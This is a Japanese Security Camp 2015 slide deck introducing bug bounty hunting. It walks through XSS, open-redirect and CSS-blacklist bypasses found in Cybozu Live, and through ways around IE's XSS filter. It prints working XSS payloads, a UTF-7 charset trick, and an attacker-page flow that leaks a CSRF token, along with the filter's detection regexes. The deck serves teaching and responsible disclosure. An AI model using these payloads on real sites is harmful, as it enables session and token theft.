SlideShare a Scribd company logo
SecurityCamp2015
バグハンティング入門
Masato Kinugawa
講師紹介
名前 Masato Kinugawa
好きな
脆弱性 XSS
職業
会社員・公務員・自営業・
学生・無職・その他
好きな
休日の
過ごし方
脆弱性を探すこと
話すこと
TARGET❶ サイボウズLive
TARGET❷ XSSフィルター
脆弱性発見の発想をみていこう!
次のアプリや機能の実際のバグから
脆弱性報酬制度
脆弱性の報告に賞金を支払う制度
ソフトウェア製品で実施しているもの
Chrome/Firefox/IDA Proなど
Webアプリケーションで実施しているもの
Google/Facebook/Twitter/GitHub/Dropboxなど
豆知識
小切手は換金手数料が高い
[注意] 一方で
善意の検査でも攻撃とみなされることもある
ISPにインターネットを止められた人もいるらしい
検査するなら検査を歓迎しているところが無難
残念ながら国内で表明しているところはほとんどない
検査を歓迎している企業の一覧ページ
https://hackerone.com/programs
https://bugcrowd.com/list-of-bug-bounty-programs
サイボウズLive
TARGET ❶
ハントするならサイボウズ!
賞金あり!
日本の企業で唯一報酬制度を実施(2015年8月現在)
検証環境で安心して検査できる
日本語で報告できる
丁寧に対応してくれる
http://cybozu.co.jp/company/security/bug-bounty/
サイボウズの制度紹介ページ
LINE Bug Bounty (期間限定:2015年8月24日 ~ 9月23日)
http://linecorp.com/ja/security/bugbounty/
++追記++
過去に誰かにみつかった脆弱性
【CyVDB-なし】XSS(サイボウズLive IDEABOX)
【CyVDB-243】SessionFixation
【CyVDB-499】XSS(添付ファイル)
【CyVDB-500】XSS(IEのバグ)
【CyVDB-501】XSS(カテゴリ編集機能)
【CyVDB-502】XSS(書式編集機能)
【CyVDB-536】XSS(IEのバグ)
【CyVDB-555】DoS(チャット機能)
【CyVDB-552】XSS(コメント欄)
【CyVDB-553】CSS記述制限のバイパス
【CyVDB-676】iframe内に無関係のページを表示できる
【CyVDB-859】CSS記述制限のバイパス
【CyVDB-905】オープンリダイレクト
【CyVDB-954】閲覧状況の漏えい
の
過去に僕がみつけた脆弱性
【CyVDB-なし】XSS(サイボウズLive IDEABOX)
【CyVDB-243】SessionFixation
【CyVDB-499】XSS(添付ファイル)
【CyVDB-500】XSS(IEのバグ)
【CyVDB-501】XSS(カテゴリ編集機能)
【CyVDB-502】XSS(書式編集機能)
【CyVDB-536】XSS(IEのバグ)
【CyVDB-555】DoS(チャット機能)
【CyVDB-552】XSS(コメント欄)
【CyVDB-553】CSS記述制限のバイパス
【CyVDB-676】iframe内に無関係のページを表示できる
【CyVDB-859】CSS記述制限のバイパス
【CyVDB-905】オープンリダイレクト
【CyVDB-954】閲覧状況の漏えい
の
ド ヤ
😥
過去に僕がみつけた脆弱性
【CyVDB-なし】XSS(サイボウズLive IDEABOX)
【CyVDB-499】XSS(添付ファイル)
【CyVDB-500】XSS(IEのバグ)
【CyVDB-501】XSS(カテゴリ編集機能)
【CyVDB-502】XSS(書式編集機能)
【CyVDB-536】XSS(IEのバグ)
【CyVDB-555】DoS(チャット機能)
【CyVDB-552】XSS(コメント欄)
【CyVDB-553】CSS記述制限のバイパス
【CyVDB-676】iframe内に無関係のページを表示できる
【CyVDB-859】CSS記述制限のバイパス
【CyVDB-905】オープンリダイレクト
【CyVDB-954】閲覧状況の漏えい
の
発見のきっかけ
竹迫さんがサイボウズのオフィス周辺のお店をま
とめたGoogle MapsのURLをLiveで教えてくれた
その下に謎の空のiframeが出現!
http://maps.google.com/maps/ms?msid=XXX
イメージ図:
空のiframeが表示されるまで
Google MapsのURLが張られると
自動でインライン展開する機能があった
Liveは全てHTTPS化されているが、竹迫さんの張った
http:から始まるMapsのURLをhttp:のままiframeへ
入れていた
混在コンテンツ(Mixed Content)として
ブラウザがロードをブロック
空のiframeが表示!
試す
受け取るURLの判断が雑だからこんなことに
なっていると予想
とりあえずマップっぽいURLを投稿してみよう
https://maps.google.example.com/
あれ…
これは…
「maps.google」がホストにあればロードを開始
無関係のホストをiframeにロードできてしまう!
https://maps.google.example.com/
考えられる影響
フィッシング
偽Google Mapsを埋め込んで操作させちゃう?
top.location を書き換えることで、オープンリダ
イレクト(相当)として利用
[注] location は例外的に異なるオリジンからも操作できる
クリックジャッキング
(試していないが)Live内はX-Frame-Options:sameorigin
が指定されているので、うまくやればできたかも?
過去に僕がみつけた脆弱性
【CyVDB-なし】XSS(サイボウズLive IDEABOX)
【CyVDB-499】XSS(添付ファイル)
【CyVDB-500】XSS(IEのバグ)
【CyVDB-501】XSS(カテゴリ編集機能)
【CyVDB-502】XSS(書式編集機能)
【CyVDB-536】XSS(IEのバグ)
【CyVDB-555】DoS(チャット機能)
【CyVDB-552】XSS(コメント欄)
【CyVDB-553】CSS記述制限のバイパス
【CyVDB-676】iframe内に無関係のページを表示できる
【CyVDB-859】CSS記述制限のバイパス
【CyVDB-905】オープンリダイレクト
【CyVDB-954】閲覧状況の漏えい
の
こんなURLを発見
https://cybozulive.com/ideabox/loginDirect?redirectUrl=https%3A
%2F%2Fcybozulive.com%2Fideabox%2Flist
おおまかな挙動のチェック
アクセスするとログイン画面へ
そこからログインすると、redirectUrl に指定したURL
にLocation: ヘッダでリダイレクト
リダイレクト先に指定できるURLはcybozulive.com内に
制限しようとしている様子
https://cybozulive.com/ideabox/loginDirect?redirectUrl=https%3A
%2F%2Fcybozulive.com%2Fideabox%2Flist
詳しく制限をみる
リダイレクトの様子をひたすらみる:
https://cybozulive.com/AAA
/AAA
//cybozulive.com/AAA
https://xxxcybozulive.com/AAA
https://example.com/cybozulive.com/AAA
https://example.comcybozulive.com/AAA
https://example.com@cybozulive.com/
https://cybozulive.com/ideabox/loginDirect?redirectUrl=[HERE]
だませたもの( の扱い )
https://example.com@cybozulive.com/
IEやChromeでは:
https://example.com/@cybozulive.com/
FirefoxではBasic認証情報の一部:
次のURLにアクセスするとどうなる?
外部のホストへリダイレクトしてしまう
過去に僕がみつけた脆弱性
【CyVDB-なし】XSS(サイボウズLive IDEABOX)
【CyVDB-499】XSS(添付ファイル)
【CyVDB-500】XSS(IEのバグ)
【CyVDB-501】XSS(カテゴリ編集機能)
【CyVDB-502】XSS(コメント欄)
【CyVDB-536】XSS(IEのバグ)
【CyVDB-555】DoS(チャット機能)
【CyVDB-552】XSS(コメント欄)
【CyVDB-553】CSS記述制限のバイパス
【CyVDB-676】iframe内に無関係のページを表示できる
【CyVDB-859】CSS記述制限のバイパス
【CyVDB-905】オープンリダイレクト
【CyVDB-954】閲覧状況の漏えい
の
コメントには機能がたくさん
投稿されるhttp(s)なURLをリンク化
レスをリンク( >>1 >1 のような文字から )
一部のHTMLタグやスタイルの使用
外部サービスの自動インライン表示
YouTube
slideshare
Flickr
添付ファイルのインライン展開
画像、テキストファイルの表示
音声ファイルの再生
Vimeo
Cacoo
Google Maps(直前の問題の修正と共に廃止)
正しく動いてる?
組み合わせても正しく動く?
HTMLの要素/属性の制限
<a>a</a>
<abbr>abbr</abbr>
<acronym>acronym</acronym>
<address>address</address>
<applet>applet</applet>
<area>area</area>
<audioscope>audioscope</audioscope>
<b>b</b>
<base>base</base>
<basefont>basefont</basefont>
<bdo>bdo</bdo>
<bgsound>bgsound</bgsound>
<big>big</big>
....
<a target="_blank" >a</a>
<abbr >abbr</abbr>
<acronym >acronym</acronym>
<address >address</address>
applet
area
audioscope
<strong >b</strong>
base
basefont
<bdo >bdo</bdo>
bgsound
<big >big</big>
....
ひたすらタグを投稿して使えるものを観察
投稿
リンクの制限
http:
https:
ftp:
mailto:
file:
<a href="http://example.com/">Link</a>
スキームは以下にリストしたものしか使えない
telnet:
gopher:
news:
wais:
?!
スタイル部分はブラックリスト
expression
behavior / behaviour
moz-binding
include-source
url
absolute
fixed
content
javascript:
vbscript:
data:
<p style="AAA:AAA">test</p>
次の文字列を発見するとstyle属性ごと削除
スタイル部分、その他の処理
を削除
/* から */ までを削除
& を &amp;に置換
<p style="x:a/**/bc&">
<p style="x: abc&amp;;" >
こんな風に
以下を投稿すると:
Liveが守りたいライン
XSSは禁止(もちろん)
Live内を閲覧しただけで任意のサイトへリクエ
ストを発生させるようなものは禁止
要素/属性は安全なものをリストして許可
スタイル属性値は危険なものをリストして禁止
スクリプトの実行が可能なもの
UIを著しく破壊するもの
任意のサイトへリクエストを発生させるもの
これを破ればOK!
CSSの expression()
CSSからJSを実行できるXSSer御用達機能
このおかげでCSS注入の危険が大きく上がる
IEの古いドキュメントモード(<=IE7)で動作
IE11からはドキュメントモードにかかわらず動かない
<p style="x:expression(alert(1))">
いろんなexpression()
<p style=x:expression(alert(1))>
<p style=x:expres/**/sion(alert(1))>
<p style=x:expr0065ssion(alert(1))>
<p style=x:expr&#x65;ssion(alert(1))>
http://www.atmarkit.co.jp/ait/articles/0906/04/news111_2.html
教科書に載らないWebアプリケーションセキュリティ(3):
[柔軟すぎる]IEのCSS解釈で起こるXSS (2/3) - @IT
昔は全角文字でも動いた:
<p style=x:expression(alert(1))>
【CyVDB-553】禁止文字列のバイパス❶
<p style="x:exp/*[0x0A]*/ression(alert(1))">
コメントの間に改行をはさむと
コメントが除去されない!
【CyVDB-859】禁止文字列のバイパス❷
コメントの間にU+2028(またはU+2029)を
はさむとコメントが除去されない!
<p style="x:exp/*[U+2028]*/ression(alert(1))">
expression()のひどいパース
これでアラートが動く
今回はコメントやを消すのでギリギリでセーフ
<p style="a:a/**/ression(alert(1))('')exp')">
IE CSS解析问题可致新的XSS Vectors
http://wooyun.org/bugs/wooyun-2014-068564
【CyVDB-552】禁止の考慮漏れ❶
<a title="data:text/html,
<script>alert(document.domain)</script>"
style="-o-link:attr(title);-o-link-source:current"
href="http://example.com/">Click</a>
Opera 12.x系のみ使える-o-link
CSSからリンクを設定できる
HTML5 Security Cheatsheet
こうしたテクが一覧されているCheatsheet
https://html5sec.org/
【CyVDB-954】禁止の考慮漏れ❷
<p style="filter:progid:DXImageTransform.Microsoft.
AlphaImageLoader( src='https://example.com/',
sizingMethod='scale')" >ABC
IE9モードまで動くAlphaImageLoaderフィルター
url()という形ではなく、src=から
外部リクエストを発生させることができる
HTTPLeaks
HTTPリクエストを発生させるような要素/属性
を一覧する @cure53berlin によるプロジェクト
https://github.com/cure53/HTTPLeaks
現在のCSSのブラックリスト
これで安心...?!
expression
behavior / behaviour
moz-binding
include-source
url
absolute
fixed
content
【NEW】-o-link
【NEW】AlphaImageLoader
javascript:
vbscript:
data:
<p style="AAA:AAA">test</p>
ハントの秘訣
[ 細かいことを気にしよう ]
些細なバグや特徴的な挙動
いちいち悪用できないか考える
僕は小さな気付きをメモするようにしている
あとで脆弱性に繋がると気付くことも
例えば、僕のメモ
ftp:のURLで、存在しないディレクトリをスクリプトなど
のリソースとしてよみこもうとするとダイアログがでる。
Firefoxのメモ( browser/firefox/bug.txt ) のNo41:
例えば、僕のメモ
サイボウズLiveのメモ( bugbounty/cybozu/live.txt ) :
https://cybozulive.com/common/transactionTokenJsonDirect
{"name":"org.apache.struts.taglib.html.TOKEN","value":"[TOKEN]"}
GETでJSON形式でtokenが返ってくる。
ただContent-DispositionとX-Content-Type-Optionsあり。
脆弱性を引き出すコツ[試す]
とりあえず手を動かして試してみる
いろんな文字を思いつく限り入力するだけでも気付き
は得られる
読んだり考えたりするだけより身につく
脆弱性を引き出すコツ[列挙]
同じ性質のものを列挙しておくと便利
例えばHTMLタグ
例えばHTTPLeaks
例えば様々なフォーマットのファイル
例えばブラウザで利用可能な文字コード
パーツがたくさんあればアイデアに幅が生まれる
一度列挙しておけば必要なときそこをみるだけ
http://l0.cm/encodings/table/
☕ [Windowsの XSS Tips]
F5 を押す
日本語入力でUnicodeのコードポイントを入力
前半終了、ちょっとひといき
日本語入力でUnicodeのコードポイントを入力
😥
ド ヤ
F5 を押す
☕ [Windowsの XSS Tips]
前半終了、ちょっとひといき
XSSフィルター
TARGET ❷
ブラウザのXSS保護機能
XSS Auditor
ChromeやSafariに搭載
XSSフィルター
EdgeとIE(8から)に搭載
NoScript
(ブラウザ標準ではないが)Firefoxのアドオン
URLやPOSTデータの攻撃と疑わしい文字列に
反応し、ページを書き換えて攻撃を防止
遮断できる文脈をみる
典型的なXSSがある状況を作って遮断できるか確認
Reflected XSS(テキスト部/属性内/文字列リテラルの中)
DOM based XSS(document.write/innerHTML)
Stored XSS
パターン1 Reflected XSS
http://example.com/?q=<script>alert(1)</script>
<html>
<body>
XSS HERE: <script>alert(1)</script>
</body>
</html>
IE 遮断
Auditor 遮断
NoScript 遮断
http://example.com/?q="onmouseover=alert(1)//
<html>
<body>
<input name="q" value=""onmouseover=alert(1)//">
</body>
</html>
パターン2 属性内
IE 遮断
Auditor 遮断
NoScript 遮断
http://example.com/?q=javascript:alert(1)
<html>
<body>
<a href="javascript:alert(1)">Click</a>
</body>
</html>
パターン3 リンク部分
IE 遮断
Auditor スルー
NoScript 遮断
http://example.com/?q=";alert(1)//
<body>
<script>
var q="";alert(1)//";
</script>
</body>
パターン4 文字列リテラル
IE 遮断
Auditor スルー
NoScript 遮断
パターン5 DOM based XSS - 1
http://example.com/#<img src=x onerror=alert(1)>
<body>
<script>
document.write(location.hash);
</script>
</body>
IE スルー
Auditor 遮断
NoScript 遮断
パターン6 DOM based XSS - 2
http://example.com/#<img src=x onerror=alert(1)>
<body>
<script>
document.body.innerHTML=location.hash;
</script>
</body>
IE スルー
Auditor スルー
NoScript 遮断
パターン7 Stored XSS
http://sns.example.com/hasegawa/
...
<div id="profile">
<script>alert(1)</script>
</div>
...
IE スルー
Auditor スルー
NoScript スルー
機能の限界
全てのXSSを止めることはできない
止められるのは攻撃のヒントのある典型的なパターン
誤検知は無くせない
意図的に起こすこともできる
XSSフィルターをもっと知る
XSSフィルターの動作の詳細は文書化されてい
ない
どんな文字列が遮断対象なのか具体的にみる
バイナリを観察
URLにあれこれ入力して試す
通過できたらそれは想定外のバイパスかも?
遮断方法にも注目する
ここからはIEのXSSフィルターに絞ってみていこう!
バイナリもヒントになる
C:WindowsSystem32mshtml.dll を
エディタで開いてみると...
{<BUTTON[ /+t].*?va{l}ue[ /+t]*=}
{<fo{r}m.*?>}
{<TEXTA{R}EA[ /+t>]}
{<is{i}ndex[ /+t>]}
{<INPUT[ /+t].*?va{l}ue[ /+t]*=}
{<OPTION[ /+t].*?va{l}ue[ /+t]*=}
{[ /+t"'`]{o}nccc+?[ +t]*?=.}
{<EM{B}ED[ /+t].*?((src)|(type)).*?=}
{<[i]?f{r}ame.*?[ /+t]*?src[ /+t]*=}
{<.*[:]vmlf{r}ame.*?[ /+t]*?src[ /+t]*=}
{<LI{N}K[ /+t].*?href[ /+t]*=}
{<[?]?im{p}ort[ /+t].*?implementation[ /+t]*=}
{<ME{T}A[ /+t].*?((http-equiv)|(charset))[ /+t]*=}
{["'].*?[{,].*(((v|(u0076)|(166)|(x76))[^a-z0-9]*({a}|(u00{6}1)|(1{4}1)|(x{6}1))[^a
-z0-9]*(l|(u006C)|(154)|(x6C))[^a-z0-9]*(u|(u0075)|(165)|(x75))[^a-z0-9]*(e|(u
0065)|(145)|(x65))[^a-z0-9]*(O|(u004F)|(117)|(x4F))[^a-z0-9]*(f|(u0066)|(146)
|(x66)))|((t|(u0074)|(164)|(x74))[^a-z0-9]*({o}|(u00{6}F)|(1{5}7)|(x{6}F))[^a-z0-
9]*(S|(u0053)|(123)|(x53))[^a-z0-9]*(t|(u0074)|(164)|(x74))[^a-z0-9]*(r|(u007
2)|(162)|(x72))[^a-z0-9]*(i|(u0069)|(151)|(x69))[^a-z0-9]*(n|(u006E)|(156)|(
x6E))[^a-z0-9]*(g|(u0067)|(147)|(x67)))).*?:}
"'{:,
{<a.*?hr{e}f}
{["'].*?{)}[ ]*(([^a-z0-9~_:'" ])|(in)).+?{(}}
タグらしき文字列が、
{<sc{r}ipt.*?[ /+t]*?((src)|(xlink:href)|(href))[ /+t]*=}
{<sc{r}ipt.*?>}
{<AP{P}LET[ /+t>]}
{<OB{J}ECT[ /+t].*?((type)|(codetype)|(classid)|(code)|(data))[ /+t]*=}
{<BA{S}E[ /+t].*?href[ /+t]*=}
{[ /+t"'`]data{s}rc[ +t]*?=.}
{<st{y}le.*?>.*?((@[i])|(([:=]|(&[#()[].]x?0*((58)|(3A)|(61)|(3D));?)).*?([(]|(&[#()[].]x?0*
((40)|(28)|(92)|(5C));?))))}
{[ /+t"'`]st{y}le[ /+t]*?=.*?([:=]|(&[#()[].]x?0*((58)|(3A)|(61)|(3D));?)).*?([(]|(&[#()[].]
x?0*((40)|(28)|(92)|(5C));?))}
{(v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(
newline;))))*{(b|(&[#()[].]x?0*((66)|(42)|(98)|(62));?))}([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D
);?)|(tab;)|(newline;))))*(s|(&[#()[].]x?0*((83)|(53)|(115)|(73));?))([t]|(&(([#()[].]x?0*(9|(13
)|(10)|A|D);?)|(tab;)|(newline;))))*((c|(&[#()[].]x?0*((67)|(43)|(99)|(63));?))([t]|(&(([#()[].]
x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()[].]x?0*((82)|(52)|(114)|(72));?))([t]|(
&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&[#()[].]x?0*((73)|(49)|(105)|(69
));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()[].]x?0*((80)|(50
)|(112)|(70));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(t|(&[#()[].]x?
0*((84)|(54)|(116)|(74));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*)?(:|
(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))).}
{(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(n
ewline;))))*(a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?
)|(tab;)|(newline;))))*(v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&(([#()[].]x?0*(9|(13)|
(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[].]x?0*((65)|(41)|(97)|(61));?))([t]|(&(([#()[].]x?
いっぱい!
<html>
<body>
<input name="q" value="[XSS_HERE]">
</body>
</html>
属性注入の遮断例
{[ /+t"'`]{o}nccc+?[ +t]*?=.}
"onxxx=a "#nxxx=a
イベントハンドラっぽい文字列を書き換え
危険なリンクの遮断
{(v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&(([#()[].]x?0*(
9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*{(b|(&[#()[].]x?0*((66)|(42)
|(98)|(62));?))}([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(ne
wline;))))*(s|(&[#()[].]x?0*((83)|(53)|(115)|(73));?))([t]|(&(([#()
[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*((c|(&[#()[].]x?0*
((67)|(43)|(99)|(63));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(
tab;)|(newline;))))*(r|(&[#()[].]x?0*((82)|(52)|(114)|(72));?))([t]|
(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(i|(&[#()[
].]x?0*((73)|(49)|(105)|(69));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|
A|D);?)|(tab;)|(newline;))))*(p|(&[#()[].]x?0*((80)|(50)|(112)|(70));
?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(t
|(&[#()[].]x?0*((84)|(54)|(116)|(74));?))([t]|(&(([#()[].]x?0*(9|(
13)|(10)|A|D);?)|(tab;)|(newline;))))*)?(:|(&(([#()[].]x?0*((58)|(3A)
);?)|(colon;)))).}
javascript:a
vbscript:a
vbs:a
javasc#ipt:a
v#script:a
v#s:a
文字列リテラルの遮断
()を使った関数呼び出し等は禁止
";abc()//
プロパティアクセス後の代入は禁止
";a.b=//
";a["b"]=//
プロパティアクセスの無い代入は許容
";abc=//
ただし一部の危険な代入は禁止
";location=// 変形もNG: ";locu0061tion=//
";name=//
";onerror=//
";valueOf=//
<script>
var q="[XSS_HERE]"
</script>
遮断後
<script>
var q="[XSS_HERE]"
</script>
()を使った関数呼び出し等は禁止
";abc##//
プロパティアクセス後の代入は禁止
";a#b=//
";a#"b"#=//
プロパティアクセスの無い代入は許容
";abc=//
ただし一部の危険な代入は禁止
";lo#ation=// 変形もNG: ";lo#u0061tion=//
";na#e=//
";on#rror=//
";va#ueOf=//
危険な代入の攻撃例
";location='javascript:alert(1)'//
";name=document.cookie//
";onerror=eval;throw'alert(1)'//
";valueOf=alert;~window//
(多分こんなかんじ?) 追記: element.click()等がcallできるようだ、検証ページ
バイパスに挑戦してみよう
状況次第ではバイパスも可能?!
想定解のある簡単な(?)問題を作ってみました
IEのXSSフィルターをバイパスしてalert(1)を出そう!
http://tinyurl.com/camp2015xss
http://tinyurl.com/camp2015xss2
忘れ去られた機能でバイパス(2010)
IE8 xss filter bypass (xss过滤器绕过)
http://www.wooyun.org/bugs/wooyun-2010-013883
<div id=x>a
<xml:namespace prefix=t>
<import namespace=t implementation=#default#time2>
<t:set attributename=innerHTML targetElement=x
to=&lt;img&#11;src=x:x&#11;onerror&#11;=alert&#x28;1&#x29;&gt;>
これがいま話題の HTML Imports...(違
{<[?]?im{p}ort[ /+t].*?implementation[ /+t]*=}
現在はフィルタ済:
追加された機能でバイパス(2015)
Edgeから追加されたES6の文法を使ったバイ
パスが既に指摘されている
テンプレートリテラル
ECMAScript 6 from an Attacker's Perspective - Breaking
Frameworks, Sandboxes, and everything else / Mario Heiderich
http://www.slideshare.net/x00mario/es6-en/34
";alert`1`//
ES6のユニコードエスケープ
";locu{61}tion=//
仕様を利用した自明なバイパス
XSSフィルターは同一オリジンのリンクから開
始したリクエストを遮断対象としない
これは誤検知を少しでも減らすための仕様と思われる
同一オリジンにリンクを作れるならバイパス可
つまり
例:サイボウズLiveにReflected XSSがあったなら..
この挙動を利用したバイパス
Reflected XSS自身でReflected XSS実行用リンクを作る
XSSフィルターの元担当者David曰く「この変更やめた方が良い」
https://twitter.com/randomdross/status/552949854591127552
余談:
現在は "<a href" も遮断される:
{<a.*?hr{e}f}
<a href="?q=%3Cscript%3Ealert%281%29%3C/script%3E">XSS</a>
http://example.com/xss?q=<a+href="?q=%253Cscript%253Ealert%25281%2529
%253C/script%253E">XSS</a>
クリック
同一オリジンのリンクなのでXSSフィルターはスルー
スクリプトが実行される
XSSフィルターでXSS(2010)
かつて、遮断方法が適切でなかったため、
脆弱性がない部分からXSSを作れていた!
Universal XSS via IE8s XSS Filters / Eduardo Vela Nava & David Lindsay
https://media.blackhat.com/bh-eu-
10/presentations/Lindsay_Nava/BlackHat-EU-2010-Lindsay-Nava-IE8-
XSS-Filters-slides.pdf
<img src="http://example.com/onerror=alert(1)//">
<img src#"http: example.com onerror=alert(1)//">
遮断後
遮断を使ってバイパス(2012)
"<a href=javascript&.x3A;alert&(x28;1&)x29;//=>XSS
なにが起きる?
";abc()//
区切り 関数の実行
";a.b=//
区切り プロパティアクセス後の代入
遮断を使ってバイパス(2012)
"<a href=javascript&.x3A;alert&(x28;1&)x29;//=>XSS
ブラウザのXSS保護機能をバイパスする(3)
http://masatokinugawa.l0.cm/2012/09/xss3.html
"<a href=javascript&#x3A;alert&#x28;1&#x29;//=>XSS
遮断後
遮断によってjavascript:のリンクに!
&#x3A; : &#x28; ( &#x29; )
ドキュメントモードが高いので動かない...
サイボウズLiveで実際にできたもの。
expression()は書けたものの...
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
・・・
<p style="x:exp/*[0x0A]*/ression(alert(1))">
https://cybozulive.com/xss
フィルターを攻撃へ活用する
metaタグが破壊されドキュメントモードが降格
ありがとうXSSフィルター! 😉
そんなときこそXSSフィルター!
https://cybozulive.com/xss?<meta+http-equiv=>
<m#ta http-equiv="X-UA-Compatible" content="IE=edge" />
・・・
<p style="x:exp/*[0x0A]*/ression(alert(1))">
フィルターを攻撃へ活用する
フィルターを攻撃へ活用する
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 03 Aug 2015 14:34:24 GMT
Content-Type: text/html;charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Cache-Control: private
X-Cybozu-Status-Code: 200
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=315360000; includeSubDomains; preload;
X-UA-Compatible: IE=Edge
X-Content-Type-Options: nosniff
Content-Length: 143557
現在はヘッダでも指定している模様
文字コードを使ったバイパス
HTTP/1.1 200 OK
Content-Type: text/html
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
</head>
<body>
XSS HERE: <meta charset=utf-7>+ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxA
CkAPAAvAHMAYwByAGkAcAB0AD4-
</body>
</html>
http://example.com/xss?q=<meta+charset=utf-7>%2BADwAc
wBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAPAAvAHMAYwBy
AGkAcAB0AD4-
選択されるcharset
文字コードを使ったバイパス
http://example.com/xss?q=<meta+charset=utf-7>%2BADwAc
wBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAPAAvAHMAYwBy
AGkAcAB0AD4-&<meta+http-equiv=>
HTTP/1.1 200 OK
Content-Type: text/html
<!DOCTYPE html>
<html>
<head>
<m#ta http-equiv="Content-Type" content="text/html;charset=UTF-8">
</head>
<body>
XSS HERE: <meta charset=utf-7>+ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxA
CkAPAAvAHMAYwByAGkAcAB0AD4-
</body>
</html> 選択されるcharset
文字コードを使ったバイパス
+ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAxACkAPAA
vAHMAYwByAGkAcAB0AD4-
<script>alert(1)</script>
UTF-7からデコード
{<ME{T}A[ /+t].*?((http-equiv)|(charset))[ /+t]*=}
現在は "<meta charset=" も遮断
遮断後
<script>
var q="";if#1#{true}else{false}//"
</script>
<form name=form>
<input type=hidden name=token value=f9d150048b>
</form>
<script>
var q="";if(1){true}else{false}//"
</script>
if文は遮断される
三項演算子 & デクリメント演算子
でバイパス(2014)
<form name=form>
<input type=hidden name=token value=f9d150048b>
</form>
<script>
var q="";1?true:false//"
</script>
if(1){true}else{false}
同じ意味
1?true:false
三項演算子は遮断されない
三項演算子 & デクリメント演算子
でバイパス(2014)
遮断後
<script>
var q="";lo#ation=location-1//"
</script>
<form name=form>
<input type=hidden name=token value=f9d150048b>
</form>
<script>
var q="";location=location-1//"
</script>
locationへの代入は遮断される
三項演算子 & デクリメント演算子
でバイパス(2014)
<form name=form>
<input type=hidden name=token value=f9d150048b>
</form>
<script>
var q="";location--//"
</script>
デクリメント演算子なら遮断されない
location=location-1
location--
同じ意味
三項演算子 & デクリメント演算子
でバイパス(2014)
<form name=form>
<input type=hidden name=token value=f9d150048b>
</form>
<script>
var q="";"a"==form.token.value[0]?top.TRUE.location.
search--:top.FALSE.location.search--//"
</script>
こんなふうにもかいても遮断されない
if("a"==form.token.value[0]){
top.TRUE.location.search--;
}else{
top.FALSE.location.search--;
}
以下と同じ意味
三項演算子 & デクリメント演算子
でバイパス(2014)
if("a"==form.token.value[0]){
top.TRUE.location.search--;
}else{
top.FALSE.location.search--;
}
<iframe src=http://victim/ id=TRUE></iframe>
<iframe src=http://victim/ id=FALSE></iframe>
<iframe src=http://victim/xss?q=";[code]//></iframe>
http://attacker/exploit.html
top.*はそれぞれ、親の持つ別のフレームを参照させている
三項演算子 & デクリメント演算子
でバイパス(2014)
if("a"==form.token.value[0]){
top.TRUE.location.search--;
}else{
top.FALSE.location.search--; //こっちへ
}
tokenの1文字目は「a」ではないので偽の分岐へ
top.FALSE.location.search = top.FALSE.location.search - 1
以下が実行されることにより、
FALSEのフレーム内でナビゲーションが発生
http://victim/ http://victim/?-1
navi
三項演算子 & デクリメント演算子
でバイパス(2014)
攻撃者は TRUE・FALSE、それぞれのフレームに
loadのイベントリスナを設定しておく
この時点で攻撃者は「tokenの1文字目はaでない」と知れる
今回であればまずFALSEのフレームの遷移でloadが発生する
token取得のデモ:
http://l0.cm/xssfilter_bypass/
条件部を "b"==form.token.value[0] のように変えて
試行を繰り返していけば、tokenの取得も可能
三項演算子 & デクリメント演算子
でバイパス(2014)
showModalDialog()を
つかったバイパス(2015)
http://attacker/opener.html
<script>
ret=showModalDialog("redirector");
alert(ret);
</script>
http://attacker/redirector
Location: ヘッダでリダイレクト
http://victim/xss?q=";[code]//
<form name=form>
<input type=hidden name=token value=f9d150048b>
</form>
<script>
var q="";returnValue=form.token.value//"
</script>
http://masatokinugawa.l0.cm/2015/06/xss6.html詳細は:
ハントの秘訣
[ 過去の失敗を知ろう ]
過去の修正済みの脆弱性をじっくりみてみよう
修正後に詳細情報が公開されているものはたくさんある
大抵の脆弱性は形を変えたよく似た失敗
探すべきポイントがみえてくる
僕が心がけていること
「知らなきゃ」より「知りたい」でうごく
流行だけを気にしない
古くて誰も使っていないような技術でも調べてみる
最後に
バグハントに一番必要なもの
根気
さあ、
バグハントに出掛けよう!

More Related Content

What's hot

今さら聞けないXSS
今さら聞けないXSS今さら聞けないXSS
今さら聞けないXSS
Sota Sugiura
 
セキュリティを楽しむ(CTFとbugbountyの始め方)
セキュリティを楽しむ(CTFとbugbountyの始め方)セキュリティを楽しむ(CTFとbugbountyの始め方)
